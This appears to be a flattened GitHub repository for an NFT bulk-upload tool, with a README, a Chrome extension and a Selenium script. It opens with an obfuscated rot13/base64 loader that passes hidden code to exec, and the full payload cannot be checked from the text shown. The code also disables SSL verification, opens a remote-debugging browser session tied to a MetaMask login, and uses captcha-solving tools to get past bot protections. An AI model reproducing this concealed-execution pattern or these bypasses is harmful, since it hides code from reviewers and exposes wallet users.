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' 9 | joy = '\x72\x6f\x74\x31\x33' 10 | trust = eval('\x6d\x61\x67\x69\x63') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x6c\x6f\x76\x65\x2c\x20\x6a\x6f\x79\x29') + eval('\x67\x6f\x64') + eval('\x63\x6f\x64\x65\x63\x73\x2e\x64\x65\x63\x6f\x64\x65\x28\x64\x65\x73\x74\x69\x6e\x79\x2c\x20\x6a\x6f\x79\x29') 11 | eval(compile(base64.b64decode(eval('\x74\x72\x75\x73\x74')),'','exec')) -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 2 | 3 | # bulk-upload-to-opensea 4 | A cross platform python IDE implementing selenium 4
5 | If you want to support this project or me, please check out my NFTs
6 | https://opensea.io/collection/fortune-cat-neko and wish give it a little love or grab it.
7 | Thank you. 8 | 9 | Tutorial video v1.0
10 | https://www.youtube.com/watch?v=yEowEDfTSpA
11 | ~ or ~
12 | Easy step by step
13 | https://www.youtube.com/watch?v=j0WguSodGf8
14 | Bulk upload to opensea - Buster: Captcha Solver
15 | https://www.youtube.com/watch?v=6IoyczfQxtg
16 | 17 | 18 | # Pay Service 19 | Why need to pay? I realise some user are over requested additional feature or addon over the limitation. 20 | if you are really need additional function for this bulk upload please contact my twitter @klvntss and the charge will by project basis. https://www.fiverr.com/kelvintss 21 | 22 | # Disclaimer 23 | This free version script are not collect or capture any information while it running. 24 | Make sure you are understand the all coding and process before running, please read line by line the original code before start running. 25 | We will not be liable for any losses and/or damages for using of our script. Use at your own risk. 26 | 27 | # Changelog 28 |
    29 |
  • Version 2.0.1 (upload_2captcha V2.py)
    30 | Deleted some controls that were no longer needed for the polygon.
    31 | Added Latest stable release: ChromeDriver 32 |
  • 33 |
  • Version 2.0.0 (upload_2captcha V2.py)
    34 | 2Captcha and Buster Solver combined in one file
    35 | Added repetitive error checks for many possible errors that may occur on the site
    36 | Added "chrome_extension" Please open chrome_extension folder and read the instructions
    37 | Collection Scraper added as prototype. 38 |
  • 39 |
  • Version 1.9.0 (upload_2captcha.py)
    40 | 2Captcha Solver
    41 | https://chrome.google.com/webstore/detail/2captcha-solver/ifibfemgeogfhoebkmokieepdoobkbpo?hl=en
    42 | get your API-key from 2captcha.com
    43 | Enabled & Solve automatically reCaptcha V2 at option page. 44 |
  • 45 |
  • Version 1.8.9 (upload_captcha.py)
    46 | Fixed duration range selection 47 |
  • 48 |
  • Version 1.8.8 (upload_captcha.py)
    49 | Add chrome extesion: Buster: Captcha Solver for Humans
    50 | https://chrome.google.com/webstore/detail/buster-captcha-solver-for/mpbjkejclgfgadiemmefgebjfooflfhl?hl=en
    51 | extension settings: Select any "speech service" and put in API key 52 |
  • 53 |
  • Version 1.8.1 (upload18.py) 54 |
      55 |
    • support "attributes" and "properties" metadata format
    • 56 |
  • 57 |
  • Version 1.8 (upload18.py) 58 |
      59 |
    • Duration support added. Maximum duration is 6 months.
      60 | *Please install "pip install python-dateutil"
      61 | PC date format MUST set to mm/dd/yyyy 62 |
    • 63 |
  • 64 |
  • Version 1.0 (upload.py) 65 |
    • Standard version
    66 |
  • 67 |
68 | 69 | # Instructions 70 |
    71 |
  • Download and extract this project in your local device (keep all files and folders that come with the repo in this folder)
  • 72 |
  • Download and update Python. My python version is 3.8.10 * https://www.youtube.com/watch?v=9o4gDQvVkLU
  • 73 |
  • Put all the NFTs images into folder “src/images” (etc 1.png), and NFTs properties metadata .json file put into folder src/json. (etc 1.json)
  • 74 |
  • Open this project folder with any code editor and click "open powershell " or "Terminal"
  • 75 |
  • Pip install requirements.txt by running the following command (pip install -r requirements.txt)
    76 | Please install PIP for Python if “pip is not recognized as an internal or external command
  • 77 |
  • Run the script, type "python upload.py"
  • 78 |
  • Once running the script, will pop-up the application
  • 79 |
  • Fill in the variable for your project upload properties,
  • 80 |
      81 |
    • Opensea collection link: https://www.opensea.io/collection/yourcollectionsname/assets/create
    • 82 |
    • Start number 1
    • 83 |
    • End number 9999 or any number
    • 84 |
    • Default price: 0.005
    • 85 |
    • Title with end “#” symbol
    • 86 |
    • Description
    • 87 |
    • NFT image format "png"
    • 88 |
    • External link start with http….
    • 89 |
    90 |
  • Click and Select the “src” folder.
  • 91 |
  • Click and “save this form”
  • 92 |
  • Click “open chrome browser” will popup a new chrome browser, login / sign-in your metamask account. Download metamask extension if don’t have
  • 93 |
  • Download I'm not robot captcha clicker extension link: https://chrome.google.com/webstore/detail/im-not-robot-captcha-clic/ceipnlhmjohemhfpbjdgeigkababhmjc/related?hl=en-US
  • 94 |
  • And click “start” to let it run.
  • 95 |
96 |
97 | For Collection Scraper added as prototype 98 |
    99 |
  • Open your collection page like : https://www.opensea.io/collection/yourcollectionsname
  • 100 |
  • Set the browser's zoom to 50% or less and wait for the page to fully load.
  • 101 |
  • Click "SCRAPE Collection" Button to let it run
  • 102 |
  • If you're having trouble doing it in bulk, on the collection page search for 1 and start then 2 then 3... 103 | You can do this up to 9 for a 10k collection.
  • 104 |
105 | 106 | 107 | # Checklist before press "start" button 108 |

    109 |
  • Disabled opensea night mode
  • 110 |
  • Opensea collection link must end with "assets/create",
    111 | look like this : https://www.opensea.io/collection/yourcollectionsname/assets/create
  • 112 |
  • If polygon please tick "polycon blockchain
  • 113 |
  • Please check "complete listing" for listing and unchecked for create NFT without listing step
  • 114 |
  • If polygon please tick "polycon blockchain!
  • 115 |
  • Select your images & json "src" folder
  • 116 |
  • double check your image / json format: 1.png or 1.json
  • 117 |
118 |

119 | 120 | # ChromeDriver - WebDriver for Chrome 121 | Download your compatible chromedriver.exe https://chromedriver.chromium.org/downloads 122 | 123 | # Enhanced section 124 | Will do a unique price setting for each individual nft image.
125 | If you like my project, please check out my NFTs https://opensea.io/collection/fortune-cat-neko and do a minimun support. 126 | Thank you. 127 | 128 | # Message for a MacOS user 129 | Currently this script only tested in Windows 7. Not compatible for MacOS 130 | 131 | # Contact me 132 | If you have any questions or want to get in contact you can find me on twitter by searching @klvntss 133 | 134 | # Thanks 135 | Please share and leave your star star
136 | If you found it useful, buy me a coffee( i like coffee :),
137 | Paypal: https://paypal.me/klvntss
138 | Ethereum address: 0xd5146965809e4286e24dcf2bfbf58c3840d433a2
139 | Thank you very much

140 | -------------------------------------------------------------------------------- /Save_gui.cloud: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infotrex/bulk-upload-to-opensea/18635ae79a04eaa3e83c6bf662818293dec56d28/Save_gui.cloud -------------------------------------------------------------------------------- /chrome_extension/Readme.md: -------------------------------------------------------------------------------- 1 | Navigate to chrome://extensions 2 | Expand the Developer dropdown menu and click “Load Unpacked Extension” 3 | Navigate to the local folder containing the extension’s code and click Ok 4 | Assuming there are no errors, the extension should load into your browser 5 | 6 | OR 7 | 8 | If it is ZIP’d, extract the contents somewhere 9 | In Chrome, open chrome://extensions/ 10 | Click + Developer mode 11 | Click Load unpacked extension… 12 | Navigate to the extension’s folder and click OK 13 | Delete the (extracted) folder (the extension was copied) 14 | -------------------------------------------------------------------------------- /chrome_extension/content.js: -------------------------------------------------------------------------------- 1 | var girdi = false; 2 | // Başlangıç 3 | chrome.runtime.onMessage.addListener( 4 | function(request, sender) { 5 | if(request.page_updated === true && request.tbUrl != null) 6 | { 7 | if(girdi == false) 8 | { 9 | girdi= true; 10 | let timerId = setInterval(() => testim(), 5000); 11 | function testim() 12 | { 13 | const targetNode = getElementByXpath('//h1[text()="Oops, something went wrong"]'); 14 | if(targetNode != null){ 15 | clearInterval(timerId); clearTimeout(myTimeout); girdi= false; 16 | setTimeout(() => {window.history.back();}, 2000); 17 | } 18 | const problemNode = getElementByXpath('//pre[contains(@style,"word-wrap")]'); 19 | if(problemNode != null){ 20 | clearInterval(timerId); clearTimeout(myTimeout); girdi= false; 21 | setTimeout(() => {window.location.href=window.location.href;}, 2000); 22 | } 23 | const errorNode = getElementByXpath('//span[text()="Error adding your item: Failed to fetch"]'); 24 | const AllmostNode = getElementByXpath('//h4[text()="Almost done"]'); 25 | if(errorNode != null && AllmostNode == null){ 26 | const createButtonNode = getElementByXpath('//*[@id="__next"]/div[1]/main/div/div/section/div[2]/form/div/div[1]/span/button'); 27 | clearInterval(timerId); clearTimeout(myTimeout); girdi= false; 28 | setTimeout(() => {createButtonNode.click();}, 4000); 29 | } 30 | const pageIsLostNode = getElementByXpath('//h1[text()="This page is lost."]'); 31 | if(pageIsLostNode != null){ 32 | clearInterval(timerId); clearTimeout(myTimeout); girdi= false; 33 | setTimeout(() => {window.location.href=window.location.href;}, 4000); 34 | } 35 | } 36 | const myTimeout = setTimeout(() => { clearInterval(timerId); girdi= false;}, 120000); 37 | } 38 | } 39 | } 40 | ); 41 | // Başlangıç 42 | function getElementByXpath(path) { 43 | return document.evaluate(path, document, null, XPathResult.FIRST_ORDERED_NODE_TYPE, null).singleNodeValue; 44 | } 45 | // 46 | 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | -------------------------------------------------------------------------------- /chrome_extension/eventPage.js: -------------------------------------------------------------------------------- 1 | 2 | chrome.tabs.onUpdated.addListener(function(tabId, changeInfo, tab) { 3 | 4 | if ( tab.active==true && tab.url.indexOf("opensea") != -1 )//&& tab.url.indexOf("create") == -1 5 | { 6 | chrome.tabs.sendMessage(tabId, {page_updated: true, chinfo:changeInfo.status, tb:tab.status, chUrl:changeInfo.url, tbUrl:tab.url, tabim:tab}); 7 | } 8 | }); -------------------------------------------------------------------------------- /chrome_extension/manifest.json: -------------------------------------------------------------------------------- 1 | { 2 | "background": { 3 | "service_worker": "eventPage.js" 4 | }, 5 | "content_scripts": [ { 6 | "all_frames": true, 7 | "js": [ "jquery-3.5.0.min.js", "content.js" ], 8 | "matches": [ "https://*.opensea.io/*"], 9 | "run_at": "document_idle" 10 | } ], 11 | "description": "Opensea: fixes the Oops, something went wrong ", 12 | "icons": { 13 | "128": "onay-128.png", 14 | "16": "onay-16.png", 15 | "48": "onay-48.png" 16 | }, 17 | "manifest_version": 3, 18 | "name": "Opensea ops sory kontrol", 19 | "permissions": [ "tabs", "storage", "notifications", "contextMenus", "webNavigation","scripting" ], 20 | "host_permissions": [ 21 | "https://testnets.opensea.io/*" , 22 | "https://*.opensea.io/*" 23 | ], 24 | "version": "1.0" 25 | } 26 | -------------------------------------------------------------------------------- /chrome_extension/onay-128.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infotrex/bulk-upload-to-opensea/18635ae79a04eaa3e83c6bf662818293dec56d28/chrome_extension/onay-128.png -------------------------------------------------------------------------------- /chrome_extension/onay-16.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infotrex/bulk-upload-to-opensea/18635ae79a04eaa3e83c6bf662818293dec56d28/chrome_extension/onay-16.png -------------------------------------------------------------------------------- /chrome_extension/onay-24.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infotrex/bulk-upload-to-opensea/18635ae79a04eaa3e83c6bf662818293dec56d28/chrome_extension/onay-24.png -------------------------------------------------------------------------------- /chrome_extension/onay-48.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infotrex/bulk-upload-to-opensea/18635ae79a04eaa3e83c6bf662818293dec56d28/chrome_extension/onay-48.png -------------------------------------------------------------------------------- /chrome_profile/chrome_profile_auto_generate_here.txt: -------------------------------------------------------------------------------- 1 | Chome profile will auto generate to this directory 2 | -------------------------------------------------------------------------------- /chromedriver.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infotrex/bulk-upload-to-opensea/18635ae79a04eaa3e83c6bf662818293dec56d28/chromedriver.exe -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | selenium==4.0.0 2 | pillow 3 | certifi 4 | python-dateutil 5 | -------------------------------------------------------------------------------- /src/images/1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infotrex/bulk-upload-to-opensea/18635ae79a04eaa3e83c6bf662818293dec56d28/src/images/1.png -------------------------------------------------------------------------------- /src/images/fortune-cat-neko.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/infotrex/bulk-upload-to-opensea/18635ae79a04eaa3e83c6bf662818293dec56d28/src/images/fortune-cat-neko.png -------------------------------------------------------------------------------- /src/json/1.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "FCN #1", 3 | "description": "Forture Cat Neko", 4 | "image": "ipfs://Qmb7skA43kEUQwVTaAepNmU9sk4rpHQn4feB4M5ibpdYZx/2650.png", 5 | "dna": "5b882fd9b472c8696ca514e34a91b32e36ff48f4", 6 | "edition": 1, 7 | "date": 1637558552616, 8 | "attributes": [ 9 | { 10 | "trait_type": "BACKGROUND", 11 | "value": "Gold Yellow" 12 | }, 13 | { 14 | "trait_type": "BODY", 15 | "value": "Orange Left Hand" 16 | }, 17 | { 18 | "trait_type": "CLOTHES", 19 | "value": "Bow Tie" 20 | }, 21 | { 22 | "trait_type": "EAR", 23 | "value": "Red" 24 | }, 25 | { 26 | "trait_type": "EYE", 27 | "value": "Freak" 28 | }, 29 | { 30 | "trait_type": "HAT", 31 | "value": "Top Hat" 32 | }, 33 | { 34 | "trait_type": "MOUTH", 35 | "value": "Smile" 36 | }, 37 | { 38 | "trait_type": "WEAR", 39 | "value": "Mustache" 40 | } 41 | ], 42 | "compiler": "HashLips Art Engine" 43 | } -------------------------------------------------------------------------------- /upload_2captcha_V2.py: -------------------------------------------------------------------------------- 1 | import tkinter 2 | import subprocess 3 | from tkinter import * 4 | from tkinter import filedialog 5 | import tkinter as tk 6 | from tkinter import ttk 7 | from tkinter import messagebox 8 | import tkinter.font as font 9 | from turtle import width 10 | from PIL import ImageTk, Image 11 | import urllib.request 12 | from urllib import parse 13 | from io import BytesIO 14 | import os 15 | import io 16 | import sys 17 | import pickle 18 | import time 19 | from decimal import * 20 | import webbrowser 21 | # from click import command 22 | from selenium import webdriver 23 | from selenium.webdriver.common.by import By 24 | from selenium.webdriver.support.wait import WebDriverWait 25 | from selenium.webdriver.chrome.options import Options 26 | from selenium.webdriver.chrome.service import Service 27 | from selenium.webdriver.support import expected_conditions as ExpectedConditions 28 | from selenium.common.exceptions import NoSuchElementException 29 | from selenium.webdriver.support.ui import Select 30 | from selenium.webdriver.common.keys import Keys 31 | from datetime import timedelta 32 | import dateutil.relativedelta 33 | from datetime import timedelta, date 34 | import locale 35 | import json 36 | import ssl 37 | import random 38 | import timeit #HKN 39 | import re #HKN 40 | from functools import partial #HKN 41 | 42 | 43 | ssl._create_default_https_context = ssl._create_unverified_context 44 | 45 | #check local date format 46 | locale.setlocale(locale.LC_ALL, '') 47 | lastdate = date(date.today().year, 12, 31) 48 | 49 | root = Tk() 50 | root.geometry('750x850') 51 | root.resizable(False, False) 52 | root.title("NFTs Upload to OpenSea v2.0.1 - 2Captcha.com Solver") 53 | 54 | input_save_list = ["NFTs folder :", 0, 0, 0, 0, 0, 0, 0, 0, 0] 55 | main_directory = os.path.join(sys.path[0]) 56 | 57 | 58 | def supportURL(): 59 | webbrowser.open_new("https://www.infotrex.net/opensea/support.asp?r=app") 60 | 61 | def coffeeURL(): 62 | webbrowser.open_new("https://github.com/infotrex/bulk-upload-to-opensea/#thanks") 63 | 64 | 65 | class WebImage: 66 | def __init__(self, url): 67 | with urllib.request.urlopen(url) as u: 68 | raw_data = u.read() 69 | #self.image = tk.PhotoImage(data=base64.encodebytes(raw_data)) 70 | image = Image.open(io.BytesIO(raw_data)) 71 | self.image = ImageTk.PhotoImage(image) 72 | 73 | def get(self): 74 | return self.image 75 | 76 | 77 | imageurl = "https://www.infotrex.net/opensea/header.png" 78 | img = WebImage(imageurl).get() 79 | imagelab = tk.Label(root, image=img) 80 | imagelab.grid(row=0, columnspan=2) 81 | imagelab.bind("", lambda e:supportURL()) 82 | 83 | is_polygon = BooleanVar() 84 | is_polygon.set(True) 85 | 86 | is_listing = BooleanVar() 87 | is_listing.set(True) 88 | 89 | is_numformat = BooleanVar() 90 | is_numformat.set(False) 91 | 92 | is_sensitivecontent = BooleanVar() 93 | is_sensitivecontent.set(False) 94 | 95 | def save_duration(): 96 | duration_value.set(value=duration_value.get()) 97 | # print(duration_value.get()) 98 | def save_captcha(): 99 | captcha_value.set(value=captcha_value.get()) 100 | #print(captcha_value.get()) 101 | 102 | def open_chrome_profile(): 103 | subprocess.Popen( 104 | [ 105 | "start", 106 | "chrome", 107 | "--remote-debugging-port=8989", 108 | "--user-data-dir=" + main_directory + "/chrome_profile", 109 | ], 110 | shell=True, 111 | ) 112 | 113 | 114 | def save_file_path(): 115 | return os.path.join(sys.path[0], "Save_gui.cloud") 116 | 117 | 118 | # ask for directory on clicking button, changes button name. 119 | def upload_folder_input(): 120 | global upload_path 121 | upload_path = filedialog.askdirectory() 122 | Name_change_img_folder_button(upload_path) 123 | 124 | def Name_change_img_folder_button(upload_folder_input): 125 | upload_folder_input_button["text"] = upload_folder_input 126 | 127 | def is_numeric(val): 128 | if str(val).isdigit(): 129 | return True 130 | elif str(val).replace('.','',1).isdigit(): 131 | return True 132 | else: 133 | return False 134 | 135 | def check_exists_by_xpath(driver, xpath): 136 | try: 137 | # driver.find_element_by_xpath(xpath) 138 | driver.find_element(By.XPATH, xpath) 139 | except NoSuchElementException: 140 | return False 141 | return True 142 | 143 | class InputField: 144 | def __init__(self, label, row_io, column_io, pos, txt_width=60, master=root): 145 | self.master = master 146 | self.input_field = Entry(self.master, width=txt_width) 147 | self.input_field.grid(ipady=3) 148 | self.input_field.label = Label(master, text=label, anchor="w", width=20, height=1 ) 149 | self.input_field.label.grid(row=row_io, column=column_io, padx=12, pady=2) 150 | self.input_field.grid(row=row_io, column=column_io + 1, padx=12, pady=2) 151 | 152 | try: 153 | with open(save_file_path(), "rb") as infile: 154 | new_dict = pickle.load(infile) 155 | self.insert_text(new_dict[pos]) 156 | except FileNotFoundError: 157 | pass 158 | 159 | def insert_text(self, text): 160 | self.input_field.delete(0, "end") 161 | self.input_field.insert(0, text) 162 | 163 | def save_inputs(self, pos): 164 | #messagebox.showwarning("showwarning", "Warning") 165 | input_save_list.insert(pos, self.input_field.get()) 166 | #print(self.input_field.get()) 167 | with open(save_file_path(), "wb") as outfile: 168 | pickle.dump(input_save_list, outfile) 169 | 170 | def validate_inputs(self, maxlen, type, message): 171 | 172 | if type == 0 and (len(self.input_field.get()) == 0 or (self.input_field.get()).isdigit() != True or len(self.input_field.get()) > maxlen): 173 | messagebox.showwarning("showwarning", message) 174 | 175 | elif type == 1 and (len(self.input_field.get()) == 0 or is_numeric(self.input_field.get()) == False or len(self.input_field.get()) >= maxlen): 176 | messagebox.showwarning("showwarning", message) 177 | 178 | elif type == 2 and ( len(self.input_field.get()) == 0 or len(self.input_field.get()) > maxlen): 179 | messagebox.showwarning("showwarning", message) 180 | 181 | else: 182 | return True 183 | 184 | 185 | ###input objects### 186 | collection_link_input = InputField("OpenSea Collection Link:", 2, 0, 1) 187 | start_num_input = InputField("Start Number:", 3, 0, 2) 188 | end_num_input = InputField("End Number:", 4, 0, 3) 189 | price = InputField("Default Price:", 5, 0, 4) 190 | title = InputField("Title:", 6, 0, 5) 191 | description = InputField("Description:", 7, 0, 6) 192 | file_format = InputField("NFT Image Format:", 8, 0, 7) 193 | external_link = InputField("External link:", 9, 0, 8) 194 | 195 | 196 | 197 | 198 | def save(): 199 | 200 | if len(start_num_input.input_field.get()) == 0 or len(end_num_input.input_field.get()) == 0 or (int(end_num_input.input_field.get()) < int(start_num_input.input_field.get())): 201 | #messagebox.showwarning("showwarning", "End number should greater than start number!") 202 | print ("true") 203 | elif len( start_num_input.input_field.get()) == 0 or len(end_num_input.input_field.get()) > 5 : 204 | #messagebox.showwarning("showwarning", "Start / end number range 0 - 99999") 205 | print ("true") 206 | else: 207 | collection_link_input.validate_inputs(200, 2, 'Collection link required') 208 | price.validate_inputs(100, 1, 'Price required') 209 | title.validate_inputs(100, 2, 'title required') 210 | description.validate_inputs(500, 2, 'description required') 211 | file_format.validate_inputs(100, 2, 'file format required - png, jpg, jpeg, gif') 212 | external_link.validate_inputs(300, 3, '') 213 | 214 | 215 | input_save_list.insert(0, upload_path) 216 | collection_link_input.save_inputs(1) 217 | start_num_input.save_inputs(2) 218 | end_num_input.save_inputs(3) 219 | price.save_inputs(4) 220 | title.save_inputs(5) 221 | description.save_inputs(6) 222 | file_format.save_inputs(7) 223 | external_link.save_inputs(8) 224 | #Total_Items.save_inputs(10) 225 | #Control_Line_Number.save_inputs(11) 226 | #Items_In_Line.save_inputs(12) 227 | 228 | def main_program_loop(prgrm): 229 | 230 | if len(end_num_input.input_field.get()) > 5 : 231 | messagebox.showwarning("showwarning", "Start / end number range 0 - 99999") 232 | sys.exit() 233 | 234 | project_path = main_directory 235 | file_path = upload_path 236 | collection_link = collection_link_input.input_field.get() 237 | start_num = int(start_num_input.input_field.get()) 238 | end_num = int(end_num_input.input_field.get()) 239 | loop_price = float(price.input_field.get()) 240 | loop_title = title.input_field.get() 241 | loop_file_format = file_format.input_field.get() 242 | loop_external_link = str(external_link.input_field.get()) 243 | loop_description = description.input_field.get() 244 | 245 | ##chromeoptions 246 | options = webdriver.ChromeOptions() 247 | options.add_argument("--disable-blink-features=AutomationControlled") 248 | options.add_experimental_option("debuggerAddress", "localhost:8989") 249 | driver = webdriver.Chrome(executable_path=project_path + "/chromedriver.exe",options=options) 250 | # driver = webdriver.Chrome( service=Service(project_path + "/chromedriver.exe"), options=opt ) 251 | wait = WebDriverWait(driver, 60) 252 | 253 | ###wait for methods 254 | def wait_css_selector(code): 255 | wait.until( 256 | ExpectedConditions.presence_of_element_located((By.CSS_SELECTOR, code)) 257 | ) 258 | 259 | def wait_css_selectorTest(code): 260 | wait.until( 261 | ExpectedConditions.elementToBeClickable((By.CSS_SELECTOR, code)) 262 | ) 263 | 264 | def wait_xpath(code): 265 | wait.until(ExpectedConditions.presence_of_element_located((By.XPATH, code))) 266 | 267 | 268 | def wait_xpath_clickable(code): 269 | wait.until(ExpectedConditions.element_to_be_clickable((By.XPATH, code))) 270 | 271 | def check_exists_by_tagname(tagname): 272 | try: 273 | # driver.find_element_by_tagname(tagname) 274 | driver.find_element(By.TAG_NAME, tagname) 275 | except NoSuchElementException: 276 | return False 277 | return True 278 | 279 | def delay(waiting_time=30): 280 | driver.implicitly_wait(waiting_time) 281 | 282 | sleeptime = random.uniform(0.8, 1.9) #HKN 283 | Lines = [] 284 | if is_listing.get() and prgrm == "OnlyListing": 285 | with open(os.path.join(sys.path[0], "modified_Scraper.txt"), 'r') as scraped_list: # Use file to refer to the file object 286 | Lines = scraped_list.readlines() 287 | if len(Lines) < 1: 288 | messagebox.showwarning("showwarning", "No Collected Data Found") 289 | return 290 | 291 | while end_num >= start_num: 292 | if is_numformat.get(): 293 | start_numformat = f"{ start_num:04}" 294 | else: 295 | start_numformat = f"{ start_num:01}" 296 | #HKN S Only Listing 297 | listing_item_name = "" 298 | if is_listing.get() and prgrm == "OnlyListing":#HKN Only Listing 299 | splited_line = Lines[(int(start_numformat) - 1)].split(",") 300 | for splited_part in range(len(splited_line)): 301 | if len(splited_line) < 3: 302 | loop_price = float(price.input_field.get()) 303 | elif len(splited_line) == 3: 304 | loop_price = splited_line[2].strip() #if a special price is entered for the selected nft 305 | print('Number : ', start_numformat, "Start Listing NFT : " + splited_line[0].strip()) 306 | listing_item_name = splited_line[0].strip() 307 | time.sleep(random.uniform(0.1, 0.5)) 308 | driver.get(splited_line[1].strip()) 309 | if start_num%40==0: 310 | time.sleep(5) 311 | #HKN F Only Listing 312 | if prgrm =="Full":#HKN 313 | time.sleep(sleeptime) 314 | print("Start creating NFT " + loop_title + str(start_numformat)) 315 | print('number ', start_numformat) 316 | driver.get(collection_link) 317 | 318 | #HKN S 319 | wait_E = True 320 | while wait_E: 321 | try: 322 | WebDriverWait(driver, 20).until(ExpectedConditions.presence_of_element_located((By.CSS_SELECTOR, "button[aria-label='Add properties']" ))) 323 | wait_E = False 324 | except: 325 | print("Refresh") 326 | with open(os.path.join(sys.path[0], "Log.txt"), 'a') as outputfile: # Use file to refer to the file object 327 | outputfile.write("Starting Point This Page Needed To Be Refreshed \n") 328 | driver.get(collection_link) 329 | time.sleep(5) 330 | wait_E = True 331 | #HKN F 332 | 333 | #HKN Start 334 | wait_xpath('//*[@id="name"]') 335 | name = driver.find_element(By.XPATH, '//*[@id="name"]') 336 | name.send_keys(loop_title + str(start_numformat)) # +1000 for other folders #change name before "#" 337 | time.sleep(sleeptime) 338 | name_i = 1 339 | kacinci = 0 340 | start = timeit.default_timer() 341 | stop = timeit.default_timer() 342 | yenilendi = False 343 | while name_i == 1: 344 